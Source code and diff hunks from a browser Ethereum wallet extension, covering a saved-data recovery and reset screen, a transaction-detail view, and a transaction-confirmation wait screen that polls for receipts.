// Residual, stated rather than left to be discovered: structured-clone storage
|
||||
// holds values JSON does not have, and no build here writes one, but the export
|
||||
// is a funds-recovery path and what it cannot carry has to be written down.
|
||||
//
|
||||
// Loud: JSON.stringify THROWS on a reference cycle or a BigInt. That lands in
|
||||
// the catch below, so the export fails entirely and erase is the only control
|
||||
// left on the screen.
|
||||
//
|
||||
// Silent, and the worse of the two, because the box then looks complete:
|
||||
// a Date becomes its ISO string, a Map or a Set becomes {}, a property whose
|
||||
// value is undefined is dropped from the output entirely, and NaN and
|
||||
// ±Infinity become null. Nothing here can serialize any of it faithfully;
|
||||
// recovering such a record needs the browser's own storage inspector.
|
||||
async function exportRecord() {
|
||||
let text;
|
||||
try {
|
||||
const record = await rawRecord();
|
||||
text = JSON.stringify(record === undefined ? null : record, null, 2);
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: export failed:", e);
|
||||
setFlash(
|
||||
"The saved data could not be read out of storage. Nothing has" +
|
||||
" been changed.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
// JSON.stringify answers undefined for a value it cannot represent, and
|
||||
// an empty box would read as "there was nothing there".
|
||||
if (typeof text !== "string") text = String(text);
|
||||
|
||||
const box = $("state-recovery-blob");
|
||||
box.value = text;
|
||||
box.classList.remove("hidden");
|
||||
const downloaded = offerDownload(text);
|
||||
setFlash(
|
||||
downloaded
|
||||
? "Saved data downloaded, and shown below. Keep a copy before" +
|
||||
" erasing anything."
|
||||
: "Saved data shown below. Copy it and keep it before erasing" +
|
||||
" anything.",
|
||||
);
|
||||
}
|
||||
|
||||
async function resetProfile() {
|
||||
const typed = $("state-recovery-reset-input").value || "";
|
||||
if (typed.trim().toUpperCase() !== RESET_PHRASE) {
|
||||
setFlash("Type " + RESET_PHRASE + " to confirm. Nothing was erased.");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await storageRemove("autistmask");
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: reset failed:", e);
|
||||
setFlash("The saved data could not be erased. Nothing was changed.");
|
||||
return;
|
||||
}
|
||||
setFlash("Saved data erased. AutistMask is starting fresh.");
|
||||
// Back to a first run, which is what the wallet now is. A popup that
|
||||
// cannot reload says so rather than sitting on a screen describing a
|
||||
// profile that no longer exists.
|
||||
if (
|
||||
typeof window !== "undefined" &&
|
||||
window.location &&
|
||||
typeof window.location.reload === "function"
|
||||
) {
|
||||
window.location.reload();
|
||||
return;
|
||||
}
|
||||
setFlash("Saved data erased. Close and reopen AutistMask.");
|
||||
}
|
||||
|
||||
function wire() {
|
||||
if (wired) return;
|
||||
wired = true;
|
||||
$("btn-state-recovery-export").addEventListener("click", exportRecord);
|
||||
$("btn-state-recovery-reset").addEventListener("click", resetProfile);
|
||||
}
|
||||
|
||||
/**
|
||||
* Show the recovery screen, naming `problem`.
|
||||
*
|
||||
* @param {Error|string} problem the StateUnusableError from the read that
|
||||
* refused, or its sentence.
|
||||
*/
|
||||
function show(problem) {
|
||||
const sentence =
|
||||
(problem && (problem.problem || problem.message)) || String(problem);
|
||||
|
||||
// Not showView(): that reads and writes the singleton this screen exists
|
||||
// because nothing could load.
|
||||
for (const view of VIEWS) {
|
||||
const node = document.getElementById("view-" + view);
|
||||
if (node) node.classList.add("hidden");
|
||||
}
|
||||
// The one global control, and it leads to a screen that renders from the
|
||||
// profile. There is nowhere to go from here but out.
|
||||
const gear = $("btn-settings");
|
||||
if (gear) gear.classList.add("hidden");
|
||||
|
||||
$("state-recovery-problem").textContent = sentence;
|
||||
$("state-recovery-blob").value = "";
|
||||
$("state-recovery-blob").classList.add("hidden");
|
||||
$("state-recovery-reset-input").value = "";
|
||||
setFlash("");
|
||||
wire();
|
||||
$("view-state-recovery").classList.remove("hidden");
|
||||
log.errorf("state is unusable, showing the recovery screen:", sentence);
|
||||
}
|
||||
|
||||
module.exports = { show, RESET_PHRASE };
|
||||
@@ -5,60 +5,76 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
addressTitle,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
isoDate,
|
||||
timeAgo,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
copyableHtml,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
displaySymbol,
|
||||
goBack,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { formatEther, formatUnits } = require("ethers");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
const { log, debugFetch } = require("../../shared/log");
|
||||
const { decodeCalldata } = require("./approval");
|
||||
|
||||
/**
|
||||
* Determine a human-readable transaction type string from tx fields.
|
||||
*/
|
||||
function getTransactionType(tx) {
|
||||
if (!tx.to) return "Contract Creation";
|
||||
if (tx.direction === "contract") {
|
||||
if (tx.directionLabel === "Swap") return "Swap";
|
||||
if (
|
||||
tx.method === "approve" ||
|
||||
tx.directionLabel === "Approve" ||
|
||||
tx.method === "setApprovalForAll"
|
||||
)
|
||||
return "Token Approval";
|
||||
return "Contract Call";
|
||||
}
|
||||
if (tx.symbol && tx.symbol !== "ETH") return "ERC-20 Token Transfer";
|
||||
return "Native ETH Transfer";
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
let ctx;
|
||||
|
||||
function copyableHtml(text, extraClass) {
|
||||
const cls =
|
||||
"underline decoration-dashed cursor-pointer" +
|
||||
(extraClass ? " " + extraClass : "");
|
||||
return `<span class="${cls}" data-copy="${escapeHtml(text)}">${escapeHtml(text)}</span>`;
|
||||
}
|
||||
|
||||
function blockieHtml(address) {
|
||||
const src = makeBlockie(address);
|
||||
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
}
|
||||
|
||||
function etherscanLinkHtml(url) {
|
||||
return (
|
||||
`<a href="${url}" target="_blank" rel="noopener" ` +
|
||||
`class="inline-flex items-center"` +
|
||||
`>${EXT_ICON}</a>`
|
||||
);
|
||||
}
|
||||
|
||||
function txAddressHtml(address, ensName, title) {
|
||||
const blockie = blockieHtml(address);
|
||||
return (
|
||||
`<div class="mb-1">${blockie}</div>` +
|
||||
renderAddressHtml(address, { title, ensName })
|
||||
);
|
||||
const dot = addressDotHtml(address);
|
||||
const link = `https://etherscan.io/address/${address}`;
|
||||
const extLink = etherscanLinkHtml(link);
|
||||
let html = `<div class="mb-1">${blockie}</div>`;
|
||||
if (title) {
|
||||
html += `<div class="font-bold">${escapeHtml(title)}</div>`;
|
||||
}
|
||||
if (ensName) {
|
||||
html +=
|
||||
`<div class="flex items-center">${dot}` +
|
||||
copyableHtml(ensName, "") +
|
||||
`</div>` +
|
||||
`<div class="flex items-center">${dot}` +
|
||||
copyableHtml(address, "break-all") +
|
||||
extLink +
|
||||
`</div>`;
|
||||
} else {
|
||||
html +=
|
||||
`<div class="flex items-center">${dot}` +
|
||||
copyableHtml(address, "break-all") +
|
||||
extLink +
|
||||
`</div>`;
|
||||
}
|
||||
return html;
|
||||
}
|
||||
|
||||
function txHashHtml(hash) {
|
||||
const link = explorerUrl("tx", hash);
|
||||
const link = `https://etherscan.io/tx/${hash}`;
|
||||
const extLink = etherscanLinkHtml(link);
|
||||
return copyableHtml(hash, "break-all") + extLink;
|
||||
}
|
||||
@@ -82,7 +98,6 @@ function show(tx) {
|
||||
direction: tx.direction || null,
|
||||
isContractCall: tx.isContractCall || false,
|
||||
method: tx.method || null,
|
||||
contractAddress: tx.contractAddress || null,
|
||||
},
|
||||
};
|
||||
render();
|
||||
@@ -103,10 +118,9 @@ function render() {
|
||||
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
|
||||
|
||||
// Exact amount (full precision, copyable)
|
||||
const detailSym = displaySymbol(tx.symbol);
|
||||
const exactStr = tx.exactValue
|
||||
? tx.exactValue + " " + detailSym
|
||||
: tx.directionLabel + " " + detailSym;
|
||||
? tx.exactValue + " " + tx.symbol
|
||||
: tx.directionLabel + " " + tx.symbol;
|
||||
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
|
||||
|
||||
// Native quantity (raw integer, copyable)
|
||||
@@ -120,162 +134,47 @@ function render() {
|
||||
nativeEl.parentElement.classList.add("hidden");
|
||||
}
|
||||
|
||||
// Always show transaction type as the first field
|
||||
// Show type label for contract interactions (Swap, Execute, etc.)
|
||||
const typeSection = $("tx-detail-type-section");
|
||||
const typeEl = $("tx-detail-type");
|
||||
const headingEl = $("tx-detail-heading");
|
||||
if (typeSection && typeEl) {
|
||||
typeEl.textContent = getTransactionType(tx);
|
||||
if (tx.direction === "contract" && tx.directionLabel) {
|
||||
if (typeSection) {
|
||||
typeEl.textContent = tx.directionLabel;
|
||||
typeSection.classList.remove("hidden");
|
||||
}
|
||||
} else {
|
||||
if (typeSection) typeSection.classList.add("hidden");
|
||||
}
|
||||
if (headingEl) headingEl.textContent = "Transaction";
|
||||
|
||||
// Token contract address (for ERC-20 transfers)
|
||||
const tokenContractSection = $("tx-detail-token-contract-section");
|
||||
const tokenContractEl = $("tx-detail-token-contract");
|
||||
if (tokenContractSection && tokenContractEl) {
|
||||
if (tx.contractAddress) {
|
||||
const dot = addressDotHtml(tx.contractAddress);
|
||||
const link = explorerUrl("token", tx.contractAddress);
|
||||
tokenContractEl.innerHTML =
|
||||
`<div class="flex items-center">${dot}` +
|
||||
copyableHtml(tx.contractAddress, "break-all") +
|
||||
etherscanLinkHtml(link) +
|
||||
`</div>`;
|
||||
tokenContractSection.classList.remove("hidden");
|
||||
} else {
|
||||
tokenContractSection.classList.add("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
// Hide calldata and raw data sections; always fetch full tx details
|
||||
// Hide calldata and raw data sections; re-fetch if this is a contract call
|
||||
const calldataSection = $("tx-detail-calldata-section");
|
||||
if (calldataSection) calldataSection.classList.add("hidden");
|
||||
const rawDataSection = $("tx-detail-rawdata-section");
|
||||
if (rawDataSection) rawDataSection.classList.add("hidden");
|
||||
|
||||
// Hide on-chain detail sections until populated
|
||||
for (const id of [
|
||||
"tx-detail-block-section",
|
||||
"tx-detail-nonce-section",
|
||||
"tx-detail-fee-section",
|
||||
"tx-detail-gasprice-section",
|
||||
"tx-detail-gasused-section",
|
||||
"tx-detail-network-section",
|
||||
]) {
|
||||
const el = $(id);
|
||||
if (el) el.classList.add("hidden");
|
||||
if (tx.isContractCall || tx.direction === "contract") {
|
||||
loadCalldata(tx.hash, tx.to);
|
||||
}
|
||||
|
||||
loadFullTxDetails(tx.hash, tx.to);
|
||||
|
||||
const isoStr = isoDate(tx.timestamp);
|
||||
$("tx-detail-time").innerHTML =
|
||||
copyableHtml(isoStr) + " (" + escapeHtml(timeAgo(tx.timestamp)) + ")";
|
||||
$("tx-detail-time").textContent =
|
||||
isoDate(tx.timestamp) + " (" + timeAgo(tx.timestamp) + ")";
|
||||
$("tx-detail-status").textContent = tx.isError ? "Failed" : "Success";
|
||||
showView("transaction");
|
||||
attachCopyHandlers("view-transaction");
|
||||
}
|
||||
|
||||
function showDetailField(sectionId, contentId, value) {
|
||||
const section = $(sectionId);
|
||||
const el = $(contentId);
|
||||
if (!section || !el) return;
|
||||
el.innerHTML = copyableHtml(value, "");
|
||||
section.classList.remove("hidden");
|
||||
}
|
||||
|
||||
function populateOnChainDetails(txData) {
|
||||
// Block number
|
||||
if (txData.block_number != null) {
|
||||
const blockLink = explorerUrl("block", String(txData.block_number));
|
||||
const blockSection = $("tx-detail-block-section");
|
||||
const blockEl = $("tx-detail-block");
|
||||
if (blockSection && blockEl) {
|
||||
blockEl.innerHTML =
|
||||
copyableHtml(String(txData.block_number), "") +
|
||||
etherscanLinkHtml(blockLink);
|
||||
blockSection.classList.remove("hidden");
|
||||
}
|
||||
}
|
||||
|
||||
// Nonce
|
||||
if (txData.nonce != null) {
|
||||
showDetailField(
|
||||
"tx-detail-nonce-section",
|
||||
"tx-detail-nonce",
|
||||
String(txData.nonce),
|
||||
);
|
||||
}
|
||||
|
||||
// Transaction fee
|
||||
const feeWei = txData.fee?.value || txData.tx_fee;
|
||||
if (feeWei) {
|
||||
const feeEth = formatEther(String(feeWei));
|
||||
showDetailField(
|
||||
"tx-detail-fee-section",
|
||||
"tx-detail-fee",
|
||||
feeEth + " ETH",
|
||||
);
|
||||
}
|
||||
|
||||
// Gas price
|
||||
const gasPrice = txData.gas_price;
|
||||
if (gasPrice) {
|
||||
const gwei = formatUnits(String(gasPrice), "gwei");
|
||||
showDetailField(
|
||||
"tx-detail-gasprice-section",
|
||||
"tx-detail-gasprice",
|
||||
gwei + " Gwei",
|
||||
);
|
||||
}
|
||||
|
||||
// Gas used
|
||||
const gasUsed = txData.gas_used;
|
||||
if (gasUsed) {
|
||||
showDetailField(
|
||||
"tx-detail-gasused-section",
|
||||
"tx-detail-gasused",
|
||||
String(gasUsed),
|
||||
);
|
||||
}
|
||||
|
||||
// Show the network details wrapper if any child section is visible
|
||||
const networkWrapper = $("tx-detail-network-section");
|
||||
if (networkWrapper) {
|
||||
const hasVisible = [
|
||||
"tx-detail-nonce-section",
|
||||
"tx-detail-fee-section",
|
||||
"tx-detail-gasprice-section",
|
||||
"tx-detail-gasused-section",
|
||||
].some((id) => {
|
||||
const el = $(id);
|
||||
return el && !el.classList.contains("hidden");
|
||||
});
|
||||
if (hasVisible) networkWrapper.classList.remove("hidden");
|
||||
}
|
||||
|
||||
// Bind copy handlers for newly added elements
|
||||
for (const id of [
|
||||
"tx-detail-block-section",
|
||||
"tx-detail-nonce-section",
|
||||
"tx-detail-fee-section",
|
||||
"tx-detail-gasprice-section",
|
||||
"tx-detail-gasused-section",
|
||||
]) {
|
||||
const section = $(id);
|
||||
if (!section) continue;
|
||||
section.querySelectorAll("[data-copy]").forEach((el) => {
|
||||
document
|
||||
.getElementById("view-transaction")
|
||||
.querySelectorAll("[data-copy]")
|
||||
.forEach((el) => {
|
||||
el.onclick = () => {
|
||||
navigator.clipboard.writeText(el.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback(el);
|
||||
};
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
async function loadFullTxDetails(txHash, toAddress) {
|
||||
async function loadCalldata(txHash, toAddress) {
|
||||
const section = $("tx-detail-calldata-section");
|
||||
const actionEl = $("tx-detail-calldata-action");
|
||||
const detailsEl = $("tx-detail-calldata-details");
|
||||
@@ -290,10 +189,6 @@ async function loadFullTxDetails(txHash, toAddress) {
|
||||
);
|
||||
if (!resp.ok) return;
|
||||
const txData = await resp.json();
|
||||
|
||||
// Populate on-chain detail fields (block, nonce, gas, fee)
|
||||
populateOnChainDetails(txData);
|
||||
|
||||
const inputData = txData.raw_input || txData.input || null;
|
||||
if (!inputData || inputData === "0x") return;
|
||||
|
||||
@@ -309,14 +204,19 @@ async function loadFullTxDetails(txHash, toAddress) {
|
||||
detailsHtml += `<div class="mb-2">`;
|
||||
detailsHtml += `<div class="text-muted">${escapeHtml(d.label)}</div>`;
|
||||
if (d.address && d.isToken) {
|
||||
// Token entry: show symbol on its own line, then address via shared renderer
|
||||
// Token entry: show symbol on its own line, then dot + address + Etherscan link
|
||||
const dot = addressDotHtml(d.address);
|
||||
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
|
||||
if (tokenSymbol) {
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
|
||||
}
|
||||
detailsHtml += renderAddressHtml(d.address);
|
||||
const etherscanUrl = `https://etherscan.io/token/${d.address}`;
|
||||
detailsHtml += `<div class="flex items-center">${dot}${copyableHtml(d.address, "break-all")}${etherscanLinkHtml(etherscanUrl)}</div>`;
|
||||
} else if (d.address) {
|
||||
detailsHtml += renderAddressHtml(d.address);
|
||||
// Protocol/contract entry: show name + Etherscan link
|
||||
const dot = addressDotHtml(d.address);
|
||||
const etherscanUrl = `https://etherscan.io/address/${d.address}`;
|
||||
detailsHtml += `<div class="flex items-center">${dot}${copyableHtml(d.value, "break-all")}${etherscanLinkHtml(etherscanUrl)}</div>`;
|
||||
} else {
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(d.value)}</div>`;
|
||||
}
|
||||
@@ -343,18 +243,26 @@ async function loadFullTxDetails(txHash, toAddress) {
|
||||
// Bind copy handlers for new elements (including raw data now outside section)
|
||||
const copyTargets = [section, rawSection].filter(Boolean);
|
||||
for (const container of copyTargets) {
|
||||
attachCopyHandlers(container);
|
||||
container.querySelectorAll("[data-copy]").forEach((el) => {
|
||||
el.onclick = () => {
|
||||
navigator.clipboard.writeText(el.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
};
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
log.errorf("loadCalldata failed:", e.message);
|
||||
}
|
||||
}
|
||||
|
||||
// The ctx this view is initialized with is unused: this module is the leaf of
|
||||
// the navigation, and the other views reach it through their own ctx.
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
$("btn-tx-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
if (state.selectedToken) {
|
||||
ctx.showAddressToken();
|
||||
} else {
|
||||
ctx.showAddressDetail();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -3,51 +3,28 @@
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
copyableHtml,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
displaySymbol,
|
||||
clearViewStack,
|
||||
} = require("./helpers");
|
||||
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
||||
const { state } = require("../../shared/state");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const { log } = require("../../shared/log");
|
||||
|
||||
// Receipt poll cadence and the deadline after which the wait is reported as
|
||||
// a timeout. Both are documented in the WaitTx section of README.md.
|
||||
const POLL_INTERVAL_MS = 10000;
|
||||
const TIMEOUT_MS = 60000;
|
||||
|
||||
// How many receipt lookups may fail in a row before the wait is ended and
|
||||
// the failure reported. A lookup that throws says nothing about the
|
||||
// transaction, so one must not end the wait — but an RPC that never answers
|
||||
// (a mistyped URL in settings is the ordinary case) must not leave the wait
|
||||
// running forever either, least of all a persisted one that every popup
|
||||
// open would resume. Six is 60 seconds at the poll cadence: the same
|
||||
// patience the confirmation deadline gets. Any lookup that answers, with a
|
||||
// receipt or with null, resets the count.
|
||||
const MAX_CONSECUTIVE_LOOKUP_FAILURES = 6;
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
let ctx;
|
||||
let elapsedTimer = null;
|
||||
let pollTimer = null;
|
||||
|
||||
// Identifies the wait currently on screen. Bumped by endWait(), so a timer
|
||||
// callback or an in-flight receipt lookup that outlives its wait can tell
|
||||
// that it is stale and leave the current view alone. Without it, a receipt
|
||||
// resolving after the wait has ended renders over whatever view replaced it.
|
||||
let waitId = 0;
|
||||
|
||||
// End the wait on screen: stop its timers and invalidate its pending async
|
||||
// work. Called on receipt, on timeout, when a new wait starts, and when the
|
||||
// user navigates away.
|
||||
function endWait() {
|
||||
waitId++;
|
||||
function clearTimers() {
|
||||
if (elapsedTimer) {
|
||||
clearInterval(elapsedTimer);
|
||||
elapsedTimer = null;
|
||||
@@ -59,167 +36,86 @@ function endWait() {
|
||||
}
|
||||
|
||||
function toAddressHtml(address) {
|
||||
const dot = addressDotHtml(address);
|
||||
const link = `https://etherscan.io/address/${address}`;
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
const title = addressTitle(address, state.wallets);
|
||||
return renderAddressHtml(address, { title });
|
||||
if (title) {
|
||||
return (
|
||||
`<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>` +
|
||||
`<div class="break-all">${escapeHtml(address)}${extLink}</div>`
|
||||
);
|
||||
}
|
||||
return `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(address)}</span>${extLink}</div>`;
|
||||
}
|
||||
|
||||
function txHashHtml(hash) {
|
||||
const link = explorerUrl("tx", hash);
|
||||
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
|
||||
const link = `https://etherscan.io/tx/${hash}`;
|
||||
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
return (
|
||||
`<span class="underline decoration-dashed cursor-pointer break-all" data-copy="${escapeHtml(hash)}">${escapeHtml(hash)}</span>` +
|
||||
extLink
|
||||
);
|
||||
}
|
||||
|
||||
function blockNumberHtml(blockNumber) {
|
||||
const num = String(blockNumber);
|
||||
const link = explorerUrl("block", num);
|
||||
return copyableHtml(num) + etherscanLinkHtml(link);
|
||||
function attachCopyHandlers(viewId) {
|
||||
document
|
||||
.getElementById(viewId)
|
||||
.querySelectorAll("[data-copy]")
|
||||
.forEach((el) => {
|
||||
el.onclick = () => {
|
||||
navigator.clipboard.writeText(el.dataset.copy);
|
||||
showFlash("Copied!");
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
// Render the wait view and start polling for the receipt. broadcastTime is
|
||||
// when the transaction was broadcast, which is what the elapsed counter and
|
||||
// the timeout deadline are both measured from; pollNow runs one lookup
|
||||
// immediately instead of waiting a full poll interval.
|
||||
function startWait(txInfo, txHash, broadcastTime, pollNow) {
|
||||
endWait();
|
||||
const id = waitId;
|
||||
function showWait(txInfo, txHash) {
|
||||
clearTimers();
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
|
||||
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
|
||||
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
|
||||
attachCopyHandlers("view-wait-tx");
|
||||
|
||||
// Persisted so closing and reopening the popup resumes this wait
|
||||
// instead of silently abandoning it.
|
||||
state.viewData = {
|
||||
pendingWait: {
|
||||
txInfo: txInfo,
|
||||
hash: txHash,
|
||||
broadcastTime: broadcastTime,
|
||||
},
|
||||
};
|
||||
const broadcastTime = Date.now();
|
||||
$("wait-tx-status").textContent = "Waiting for confirmation... 0s";
|
||||
|
||||
function renderElapsed() {
|
||||
elapsedTimer = setInterval(() => {
|
||||
const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
|
||||
$("wait-tx-status").textContent =
|
||||
"Waiting for confirmation... " + elapsed + "s";
|
||||
}
|
||||
renderElapsed();
|
||||
|
||||
elapsedTimer = setInterval(() => {
|
||||
if (id !== waitId) return;
|
||||
renderElapsed();
|
||||
}, 1000);
|
||||
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
let consecutiveFailures = 0;
|
||||
|
||||
async function poll() {
|
||||
if (id !== waitId) return;
|
||||
let receipt = null;
|
||||
let answered = true;
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
pollTimer = setInterval(async () => {
|
||||
try {
|
||||
receipt = await provider.getTransactionReceipt(txHash);
|
||||
} catch (e) {
|
||||
// A thrown lookup means "no answer this tick", not "no
|
||||
// receipt": the RPC failed, the chain said nothing. Declaring
|
||||
// the timeout off it would report a confirmed transaction as
|
||||
// failed — which matters most on a resumed wait, where the
|
||||
// first poll is already past the deadline.
|
||||
answered = false;
|
||||
log.errorf("poll receipt failed:", e.message);
|
||||
}
|
||||
// The lookup is async: the wait may have ended while it was in
|
||||
// flight, in which case this result must not touch the view.
|
||||
if (id !== waitId) return;
|
||||
// Exactly one outcome per wait. A receipt wins even on the tick
|
||||
// that crosses the deadline, because the transaction did confirm.
|
||||
const receipt = await provider.getTransactionReceipt(txHash);
|
||||
if (receipt) {
|
||||
showSuccess(txInfo, txHash, receipt.blockNumber);
|
||||
return;
|
||||
}
|
||||
if (!answered) {
|
||||
consecutiveFailures++;
|
||||
// The failure is the user's news, and it is a different fact
|
||||
// from "the transaction did not confirm" — the chain was never
|
||||
// asked. Ending the wait here is what keeps it bounded and
|
||||
// gives the user a Done button to leave by.
|
||||
if (consecutiveFailures >= MAX_CONSECUTIVE_LOOKUP_FAILURES) {
|
||||
showError(
|
||||
txInfo,
|
||||
txHash,
|
||||
"The network could not be reached to check this transaction — " +
|
||||
MAX_CONSECUTIVE_LOOKUP_FAILURES +
|
||||
" lookups failed in a row. Check the RPC URL in Settings. The transaction may still have confirmed — check Etherscan.",
|
||||
);
|
||||
} catch (e) {
|
||||
log.errorf("poll receipt failed:", e.message);
|
||||
}
|
||||
// Otherwise keep polling: the next tick may answer.
|
||||
return;
|
||||
}
|
||||
consecutiveFailures = 0;
|
||||
if (Date.now() - broadcastTime >= TIMEOUT_MS) {
|
||||
|
||||
const elapsed = Math.floor((Date.now() - broadcastTime) / 1000);
|
||||
if (elapsed >= 60) {
|
||||
showError(
|
||||
txInfo,
|
||||
txHash,
|
||||
"Transaction was not confirmed within 60 seconds. It may still confirm later \u2014 check Etherscan.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
pollTimer = setInterval(poll, POLL_INTERVAL_MS);
|
||||
}, 10000);
|
||||
|
||||
showView("wait-tx");
|
||||
|
||||
if (pollNow) poll();
|
||||
}
|
||||
|
||||
function showWait(txInfo, txHash) {
|
||||
startWait(txInfo, txHash, Date.now(), false);
|
||||
}
|
||||
|
||||
// Resume a wait persisted by a previous popup session. The deadline still
|
||||
// runs from the original broadcast, so a wait that has already outlived it
|
||||
// resolves on the immediate first poll rather than restarting the clock.
|
||||
// Returns false when there is nothing resumable to resume. Every field
|
||||
// startWait() goes on to use is validated, not just the presence of the
|
||||
// containers: txInfo.to reaches addressTitle(), which calls
|
||||
// address.toLowerCase(), and txInfo.amount is rendered into the summary, so
|
||||
// an object merely missing one of them throws a TypeError out of
|
||||
// restoreView() — which init() does not guard, skipping the rest of popup
|
||||
// init and leaving wait-tx on screen with no back control. A non-numeric
|
||||
// broadcastTime leaves an unexitable wait counting "NaNs". txInfo.token and
|
||||
// txInfo.tokenSymbol are deliberately unchecked: they are compared and
|
||||
// coalesced rather than dereferenced, and tokenSymbol is null for ETH.
|
||||
function restoreWait() {
|
||||
const d = state.viewData;
|
||||
if (!d || !d.pendingWait) return false;
|
||||
const w = d.pendingWait;
|
||||
if (!w.hash) return false;
|
||||
// typeof [] is "object", so an array passes an object check.
|
||||
const info = w.txInfo;
|
||||
if (!info || typeof info !== "object" || Array.isArray(info)) return false;
|
||||
// A string is the whole requirement: the empty string is what a
|
||||
// contract-deployment approval persists (approval.js writes `to: toAddr
|
||||
// || ""`), and both fields render harmlessly when empty, so refusing it
|
||||
// would abandon a wait the live path itself created.
|
||||
if (typeof info.to !== "string") return false;
|
||||
if (typeof info.amount !== "string") return false;
|
||||
if (typeof w.broadcastTime !== "number" || !isFinite(w.broadcastTime)) {
|
||||
return false;
|
||||
}
|
||||
startWait(w.txInfo, w.hash, w.broadcastTime, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
function showSuccess(txInfo, txHash, blockNumber) {
|
||||
endWait();
|
||||
clearTimers();
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
state.viewData = {
|
||||
amount: txInfo.amount,
|
||||
symbol: symbol,
|
||||
@@ -237,9 +133,13 @@ function tokenLabel(address) {
|
||||
return t ? t.symbol : null;
|
||||
}
|
||||
|
||||
function etherscanTokenLink(address) {
|
||||
return `https://etherscan.io/token/${address}`;
|
||||
}
|
||||
|
||||
function decodedDetailsHtml(decoded) {
|
||||
if (!decoded || !decoded.details) return "";
|
||||
let html = `<div class="border border-border border-dashed p-2 mb-3">`;
|
||||
let html = "";
|
||||
if (decoded.name) {
|
||||
html += `<div class="mb-2"><div class="text-xs text-muted mb-1">Action</div>`;
|
||||
html += `<div class="font-bold">${escapeHtml(decoded.name)}</div></div>`;
|
||||
@@ -264,36 +164,20 @@ function decodedDetailsHtml(decoded) {
|
||||
}
|
||||
html += `</div>`;
|
||||
}
|
||||
html += `</div>`;
|
||||
return html;
|
||||
}
|
||||
|
||||
function renderSuccess() {
|
||||
const d = state.viewData;
|
||||
if (!d || !d.hash) return;
|
||||
|
||||
const hasDecoded = d.decoded && d.decoded.details;
|
||||
|
||||
